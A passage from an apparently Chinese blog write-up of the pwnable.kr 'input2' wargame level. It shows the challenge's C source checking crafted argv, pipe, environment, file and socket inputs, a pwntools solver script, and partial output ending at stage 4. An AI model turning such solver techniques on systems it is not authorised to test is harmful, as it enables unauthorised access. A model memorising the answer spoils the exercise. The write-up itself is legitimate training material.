</span></span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="c1">// 像输入写入4字节等于\x00\x0a\x00\xff，向错误写入\x00\x0a\x00\xff
</span></span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="c1">// memcmp 相等返回0
</span></span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">memcmp</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\x00\x0a\x00\xff</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">4</span><span class="p">))</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="nf">read</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">memcmp</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\x00\x0a\x02\xff</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">4</span><span class="p">))</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Stage 2 clear!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="c1">// env
</span></span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="c1">// 设置一个环境变量：变量名\xde\xad\xbe\xef (0xdeadbeef)，变量值：\xca\xfe\xba\xbe (0xcafebabe)
</span></span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">strcmp</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\xca\xfe\xba\xbe</span><span class="s">&#34;</span><span class="p">,</span> <span class="nf">getenv</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\xde\xad\xbe\xef</span><span class="s">&#34;</span><span class="p">)))</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Stage 3 clear!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="c1">// 检查当前目录下一个名为换行符的文件，内容要有4个字节长度，是\x00\x00\x00\x00
</span></span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="n">FILE</span><span class="o">*</span> <span class="n">fp</span> <span class="o">=</span> <span class="nf">fopen</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\x0a</span><span class="s">&#34;</span><span class="p">,</span> <span class="s">&#34;r&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">fp</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="nf">fread</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">fp</span><span class="p">)</span><span class="o">!=</span><span class="mi">1</span> <span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="nf">memcmp</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\x00\x00\x00\x00</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span> <span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="nf">fclose</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Stage 4 clear!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="c1">// network
</span></span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="c1">// C语言网络编程，一堆预设置，总之要往argv[67]代表的端口发送4个字节0xdeadbeef
</span></span></span><span class="line"><span class="ln">44</span><span class="cl">        <span class="kt">int</span> <span class="n">sd</span><span class="p">,</span> <span class="n">cd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">        <span class="k">struct</span> <span class="n">sockaddr_in</span> <span class="n">saddr</span><span class="p">,</span> <span class="n">caddr</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">        <span class="n">sd</span> <span class="o">=</span> <span class="nf">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">sd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;socket error, tell admin</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">        <span class="n">saddr</span><span class="p">.</span><span class="n">sin_family</span> <span class="o">=</span> <span class="n">AF_INET</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">        <span class="n">saddr</span><span class="p">.</span><span class="n">sin_addr</span><span class="p">.</span><span class="n">s_addr</span> <span class="o">=</span> <span class="n">INADDR_ANY</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">        <span class="n">saddr</span><span class="p">.</span><span class="n">sin_port</span> <span class="o">=</span> <span class="nf">htons</span><span class="p">(</span> <span class="nf">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="sc">&#39;C&#39;</span><span class="p">])</span> <span class="p">);</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">bind</span><span class="p">(</span><span class="n">sd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">saddr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">saddr</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;bind error, use another port</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">        <span class="nf">listen</span><span class="p">(</span><span class="n">sd</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">        <span class="kt">int</span> <span class="n">c</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr_in</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">        <span class="n">cd</span> <span class="o">=</span> <span class="nf">accept</span><span class="p">(</span><span class="n">sd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">caddr</span><span class="p">,</span> <span class="p">(</span><span class="kt">socklen_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">c</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">cd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;accept error, tell admin</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="nf">recv</span><span class="p">(</span><span class="n">cd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">4</span> <span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">memcmp</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\xde\xad\xbe\xef</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">4</span><span class="p">))</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Stage 5 clear!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">
</span></span><span class="line"><span class="ln">69</span><span class="cl">        <span class="c1">// here&#39;s your flag
</span></span></span><span class="line"><span class="ln">70</span><span class="cl">        <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl">        <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/cat flag&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">73</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>考察C语言基础，说实话，我不靠AI看不懂，流程懂了就写脚本。
这里需要注意的是参数个数，形如</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">./input A B C
</span></span><span class="line"><span class="ln">2</span><span class="cl">这样，argc = 4，argv[0] = 程序名，也就是./input</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>但是pwntools传数组参数时候，数组就是全部参数，包含程序名，比如传递100个K，假如程序源码通过<code>argv[0]</code>获取自身程序名，就会获取到K，不过一般没有程序会获取自己程序名搞事情。在本题中程序虽然认为自己是K，但是executable指定了程序，因此也没啥问题。</p>
<p>这题需要创建文件，pwnable.kr只有 /tmp 下的文件夹有权限，但是文件夹内没 flag，所以通过<code>ln -s</code>创建软链接即可。
虽然系统对环境变量还有文件名都有转码，但是还是建议全部加 b 前缀，显式指明字节流。
脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="sa">b</span><span class="s1">&#39;K&#39;</span><span class="p">]</span> <span class="o">*</span> <span class="mi">100</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">args</span><span class="p">[</span><span class="mi">65</span><span class="p">]</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">args</span><span class="p">[</span><span class="mi">66</span><span class="p">]</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x20\x0a\x0d</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">args</span><span class="p">[</span><span class="mi">67</span><span class="p">]</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;1234&#34;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">r1</span><span class="p">,</span> <span class="n">w1</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">pipe</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">r2</span><span class="p">,</span> <span class="n">w2</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">pipe</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">w1</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00\x0a\x00\xff</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">w2</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00\x0a\x02\xff</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">env</span> <span class="o">=</span> <span class="p">{</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xde\xad\xbe\xef</span><span class="s2">&#34;</span><span class="p">:</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\xca\xfe\xba\xbe</span><span class="s2">&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x0a</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s1">&#39;wb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00\x00\x00\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">executable</span><span class="o">=</span><span class="s1">&#39;/home/input2/input2&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="n">argv</span><span class="o">=</span><span class="n">args</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">            <span class="n">stdin</span><span class="o">=</span><span class="n">r1</span><span class="p">,</span> <span class="n">stderr</span><span class="o">=</span><span class="n">r2</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">            <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="n">conn</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;localhost&#39;</span><span class="p">,</span><span class="mi">1234</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\xde\xad\xbe\xef</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="c1">#io.interactive()</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvall</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>输出：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">input2@ubuntu:/tmp/test$ python exp.py
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">[+] Starting local process &#39;/home/input2/input2&#39;: pid 4020390
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">[+] Opening connection to localhost on port 1234: Done
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">[*] Closed connection to localhost port 1234
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">[+] Receiving all data: Done (251B)
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">[*] Process &#39;/home/input2/input2&#39; stopped with exit code 0 (pid 4020390)
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">Welcome to pwnable.kr
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">Let&#39;s see if you know how to give input to program
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">Just give me correct inputs then you will get the flag :)
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">Stage 1 clear!
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">Stage 2 clear!
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">Stage 3 clear!
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">Stage 4 clear!
